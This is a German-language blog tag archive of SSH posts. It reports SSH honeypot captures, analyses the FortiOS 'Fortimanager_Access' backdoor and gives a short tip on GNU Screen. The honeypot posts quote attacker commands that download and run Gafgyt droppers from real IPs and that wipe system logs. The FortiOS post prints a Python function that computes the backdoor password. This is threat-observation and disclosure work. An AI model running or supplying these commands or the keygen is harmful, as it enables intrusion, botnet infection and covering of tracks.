Tag Archives: SSH

Honeypot Project – Auswertung #2

Nun, nach knapp 2 Monaten an Laufzeit für meinen SSH-Honeypot, möchte ich nochmals kurz Bilanz ziehen und schauen, was so gegangen ist in letzter Zeit.

Aktuell hat mein Honeypot fast 40k Verbindungen erfasst von über Eintausend IPs:

Anzahl Verbindungen: 40’127
Anzahl Uniq-IP: 1’053

Da ich viele der bekanntesten Passwörter wie „root“, „toor“, „password“, etc. filtere waren auch nicht alle Logins erfolgreich:

Anzahl Passwörter: 66’893
Anzahl erfolgreiche Logins: 3’670

Doch all jene, welche durchgekommen sind, haben sich auch gleich umgesehen:

Anzahl CMD: 2’688

Die Grosszahl der Befehle, welche abgesetzt werden, dienen dem Nachladen von weiteren Scripten:

cd /var/ || cd /tmp/ || cd /var/run || cd /var/tmp/ || cd /dev/ || cd /mnt/
busybox wget http://64.95.100.88/.fagbin.sh || wget http://64.95.100.88/.fagbin.sh
busybox bash .fagbin.sh || sh .fagbin.sh
rm -rf .fagbin.sh
busybox tftp -r .fagbin2.sh -g 64.95.100.88 || tftp -r .fagbin2.sh -g 64.95.100.88
busybox bash .fagbin2.sh || sh .fagbin2.sh
busybox tftp 64.95.100.88 -c get .fagbin3.sh || tftp 64.95.100.88 -c get .fagbin3.sh
busybox bash .fagbin3.sh || sh .fagbin3.sh
rm -rf .fagbin2.sh .fagbin3.sh .fagbin.sh

Aber auch Testskripte für Speedtests sehe ich immer öfters. Hier soll der Server wohl als DDoS-Bot dienen. Nur sehr selten sieht man etwas komplexere Versuche:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH
history -n
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
rm -rf /var/log/wtmp
rm -rf /var/log/lastlog
rm -rf /var/log/secure
rm -rf /var/log/xferlog
rm -rf /var/log/messages
rm -rf /var/log/syslog
rm -rf /var/run/utmp
touch /var/run/utmp
touch /var/log/messages
touch /var/log/wtmp
touch /var/log/messages
touch /var/log/xferlog
touch /var/log/secure
touch /var/log/lastlog
rm -rf /var/log/maillog
touch /var/log/maillog
rm -rf /root/.bash_history
touch /root/.bash_history
history -r
rm -rf /var/spool/mail/root

cd /tmp
wget http://212.154.211.81/j.txt
curl -O http://212.154.211.81/j.txt
fetch http://212.154.211.81/j.txt
lwp-download http://212.154.211.81/j.txt
perl j.txt 113.30.102.54
rm -rf *.txt
uname
free -m
cat /proc/cpuinfo
cat /etc/issue

Wer das Projekt auch verfolgen möchte, der kann das hier machen.

Freundliches Hallo aus Russland

Heute gab es eine spannende Begegnung mit einem Angreifer aus Russland:

Verbindung: 185.103.109.70
Version: SSH-2.0-libssh2_1.4.2
Login: root / admin

Kaum war die Verbindung aufgebaut, ging es auch schon los:

cd /tmp;
wget hXXp://185.22.173.65/bins.sh
chmod +x bins.sh
chmod 777 *
sh bins.sh"

Die Datei „bins.sh“ dient als einfacher Dropper:

MD5: 18dd76f99d222bf2cb193a5cdb872e3d
SHA1: 4fdb0beaaa8db435d771ba9deb7c01afc3b5a2c3
SHA256: 07fe22f4b754d28efd62157f7ee6aa4c1f63dd21dac33c2b600e42cbabff6daf
Magic literal: ASCII text

Sobald die Datei gestartet wird, werden weitere Ressourcen vom selben Server heruntergeladen:

wget hXXp://185.22.173.65/snarmv6; chmod +x snarmv6; chmod 777 *; ./snarmv6
wget hXXp://185.22.173.65/snmips; chmod +x snmips; chmod 777 *; ./snmips
wget hXXp://185.22.173.65/snmipsel; chmod +x snmipsel; chmod 777 *; ./snmipsel
wget hXXp://185.22.173.65/snpowerpc; chmod +x snpowerpc; chmod 777 *; ./snpowerpc
wget hXXp://185.22.173.65/snsh4; chmod +x snsh4; chmod 777 *; ./snsh4
wget hXXp://185.22.173.65/snmyx86; chmod +x snmyx86; chmod 777 *; ./snmyx86
wget hXXp://185.22.173.65/vmp; chmod +x vmp; chmod 777 *; ./vmp

Hinter den einzelnen Dateien steht der Trojaner Gafgyt in verschiedene Versionen, welcher dem Angreifer auch als Backdoor dient:

snarmv6: 657d00724e41e5c40331f5eb925e56acf7c9dd3188b2c0a268623ed6e580a556
snmips: c8aa69c0d6e3399411cfae7c65b70bf8b1b0c099c80613a302e53b2d04d2be16
snmipsel: 0388e01fec61499e6d5cc7b3b2d88353886ae619d83c0d8ae633b1eb8684bf9a
snpowerpc: 5e0f5df89d6589f4f67ab5b051da388f48dcaa66d21a14562f23157c0f9b54f1
snsh4: 9922bada2c9dee8529da8482b66f35b7df415c5cc291e675c688fdfa0db131cc
snmyx86: 40f47ddda5ca8ceacd1ca9f4dd4e65fb5f6749d33c083ed6bf83aa7b861821f1
vmp: 17d5252c3c9d1d37340bf91a2e0eedcf24890858100b270f5386616669edf11e

Circa eine Stunde später, war der liebe Kollege aber schon wieder auf meinem System jedoch mit neuen Befehlen:

cd /tmp
wget hXXp://107.172.41.130/bins.sh || curl -O hXXp://107.172.41.130/bins.sh
chmod 777 bins.sh
sh bins.sh
busybox tftp 107.172.41.130 -c get tftp1.sh
chmod 777 tftp1.sh
sh tftp1.sh
busybox tftp -r tftp2.sh -g 107.172.41.130
chmod 777 tftp2.sh
sh tftp2.sh
rm -rf bins.sh tftp1.sh tftp2.sh

Diesmal hat sich auch der Dropper etwas verändert, scheint wohl Version 2.0 zu sein.

cd /tmp; wget hXXp://107.172.41.130/GHfjfgvj; chmod 777 GHfjfgvj; ./GHfjfgvj; rm -rf GHfjfgvj
cd /tmp; wget hXXp://107.172.41.130/JIPJIPJj; chmod 777 JIPJIPJj; ./JIPJIPJj; rm -rf JIPJIPJj
cd /tmp; wget hXXp://107.172.41.130/jhUOH; chmod 777 jhUOH; ./jhUOH; rm -rf jhUOH
cd /tmp; wget hXXp://107.172.41.130/RYrydry; chmod 777 RYrydry; ./RYrydry; rm -rf RYrydry
cd /tmp; wget hXXp://107.172.41.130/UYyuyioy; chmod 777 UYyuyioy; ./UYyuyioy; rm -rf UYyuyioy
cd /tmp; wget hXXp://107.172.41.130/XDzdfxzf; chmod 777 XDzdfxzf; ./XDzdfxzf; rm -rf XDzdfxzf
cd /tmp; wget hXXp://107.172.41.130/JIPJuipjh; chmod 777 JIPJuipjh; ./JIPJuipjh; rm -rf JIPJuipjh
cd /tmp; wget hXXp://107.172.41.130/DFhxdhdf; chmod 777 DFhxdhdf; ./DFhxdhdf; rm -rf DFhxdhdf
cd /tmp; wget hXXp://107.172.41.130/FDFDHFC; chmod 777 FDFDHFC; ./FDFDHFC; rm -rf FDFDHFC
cd /tmp; wget hXXp://107.172.41.130/FTUdftui; chmod 777 FTUdftui; ./FTUdftui; rm -rf FTUdftui

Hinter den einzelnen Files steht am Schluss aber immer noch der selbe Trojaner, somit nichts neues an dieser Front. Aber mal schauen, ob wir uns bald wieder sehen, vielleicht mit Version 3.0…

Honeypot Project – Wie exponiert sind öffentliche Server wirklich?

Ein Vorsatz, welchen ich mir eigentlich schon länger vorgenommen hatte und nun doch noch endlich mal umgesetzt hatte, ist ein eigener Honeypot. Ziel ist es, herauszufinden, wie exponiert ein öffentlicher Server wirklich ist und dazu habe ich konkret ein SSH Honeypot aufgesetzt und mit einer mehr oder weniger komplexen Konfiguration ausgestattet. Der Honeypot ist am Ende nur low-interactive, doch zum Erfassen von grundlegenden Scans, Passwortversuchen und den ersten Gehversuchen auf einem möglicherweise erfolgreich kompromittiertem System reicht es allemal aus.

Zum Setup ist zu sagen, dass die Maschine sowie die IP bisher nicht genutzt wurden und erst kurz vor dem Honeypot selbst mit online gekommen sind. Die Maschine ist also ziemlich neu im Internet. Mit diesem Wissen im Hinterkopf hat es mich umso mehr erstaunt, dass es knapp 25 Minuten gedauert hat, bis der erste Loginversuch aus Vietnam eingetroffen ist:

Quelle: 113.175.130.234
Version: SSH-2.0-JSCH-0.1.51
Login-Methode: none, keyboard-interactive

Das es ein automatisierter Versuch ist, zeigte sich in den wenigen User/Passwort-Kombinationen, die der Angreifer versuchte:

1. Versuch: „support“ | „support“
2. Versuch: „support“ | „“
3. Versuch: „support“ | „support“

Nach insgesamt 5 Sekunden war der Angreifer auch bereits schon weiter gezogen, weil keiner der Versuche erfolgreich waren – ein weitere Indikator für ein automatischer Probe.

Viel interessanter wird es nun, sobald der erste nicht-automatisierte Angriff eintrifft. Meine Vermutung wäre, dass diese Ankommen, sobald die IP das erste Mal bei z.B. Shodan.io erfasst und gelistet wird… Seien wir gespannt. 🙂

Wer die Angriffe ein bisschen verfolgen möchte, der kann das hier machen.

FortiOS SSH Backdoor ignoriert interne Sicherheitsfeatures

Hoffentlich haben mittlerweile alle Administratoren und Security Professionals von der SSH Backdoor in FortiOS gehört und auch bereits erste Sofortmassnahmen umgesetzt, denn die konkret am 09. Januar 2016 veröffentlichte Lücke ist Forti bereits seit über einem Jahr bekannt und wird wohl oder übel auch bereits solange in der freien Wildbahn ausgenutzt…

fulldisc

Doch wieso genau ist die Backdoor erst jetzt aufgetaucht? Ein ganzes Jahr ist ja eine ganz schön lange Zeitspanne ohne das ein Admin, IDS, SIEM oder ähnliches ein verdächtiges Verhalten entdeckt…

Der Grund, wieso wohl noch niemand etwas gemerkt hat, liegt in der internen Logging-Funktion! Konkret habe ich versucht, die Verwendung der Backdoor auf meinen Systemen im SIEM abzubilden und habe somit konkret die generierten Logs während dem Login ausgewertet und eine spannende Entdeckung gemacht:

Ein normales Login via SSH bricht in der Regel nach 3-5 Versuchen ab. Zusätzlich wird ein entsprechendes Log über ein failed Login geschrieben und je nach Einstellung der Benutzer sogar für X Minuten geblockt. Und wie sieht es aus, sobald der User „Fortimanager_Access“ verwendet wird? Weder Logs, noch ein Disconnect, noch ein Blockieren finden statt – jegliche Sicherheitsfeatures werden klang heimlich umgangen! Und da stell ich mir schon die Frage nach dem wieso? Selbst wenn sich jemand über den FortiManager Zugriff auf eine Firewall verschafft, selbst wenn dies ein gültiger Zugriff von einem Admin ist, so will ich dies doch geloggt haben. Also wo ist der Sinn, solche Verbindungen zu verstecken?

Wer das Szenario konkret testen will, der kann eine normale SSH Verbindung zu (s)einer Fortigate aufbauen und den Benutzer „Fortimanager_Access“ eintippen.

forti

Anstelle das hier nun ein normales Passwort angefragt wird, bekommt der User eine Zahlenfolge präsentiert, welche nach folgender Funktion zum effektiven Passwort verrechnet werden kann:

import base64
import hashlib

def calculate(key):
    n = key
    m = hashlib.sha1()
    m.update('\x00' * 12)
    m.update(n + 'FGTAbc11*xy+Qqz27')
    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
    return [h]

Wir eine Version nach 5.0.7 verwendet, so wird der Benutzer als gesperrter User angesehen und die Verbindung wird per sofort getrennt. Einen entsprechenden Log-Eintrag gibt es noch immer nicht!

Multi-Desktop über SSH-Terminal

Wer oft via SSH in einem Terminal auf einem Remotesystem arbeitet der kennt das Problem: Man muss zum Beispiel ein Tool starten und gleichzeitig ein Logfile prüfen und vielleicht auch gleich noch die Auslastung einsehen können. Das Problem von SSH, dafür müssen gleich 3 Verbindungen aufgebaut werden und man wechselt zwischen 3 Fenstern hin und her.
Doch heute bin ich auf das Tool „Screen“ gestossen – ein praktisches kleines Stück Software, das mir bisher leider vorenthalten wurde. Screen ermöglicht das Aufbauen, Umschalten und Verwalten von mehreren Anzeigen in nur einer Session. Auch ist es möglich, eine Anzeige wieder aufzunehmen, selbst wenn die Session zwischenzeitig beendet wurde – also auch durchaus geeignet für fehleranfällige Verbindungen. Oder es kann einer anderen Session ermöglicht werden, den selben Inhalt einer Anzeige zu sehen, wie ich auch in meiner Session sehe.

Unter Ubuntu gibt es Screen direkt aus den Paketquellen:

apt-get install screen

Das Handling von Screen benötigt ein kleines bisschen an Wissen, doch die paar Parameter und Tastenkombinationen sollte man sich problemlos merken können… Wenn man nun mit Screen loslegen will, so sollte man zuerst einen neuen Screen erzeugen und diesen mit einem Namen versehen:

screen -S initial

Will man innerhalb einer aktiven Anzeige eine Neue erstellen, so verwendet man CTRL + A + C (create). Zum Wechseln zwischen einzelnen Anzeigen gibt es CTRL + A + SPACE und zum löschen CTRL + A + D (delete / detach).

Read more

« Older Entries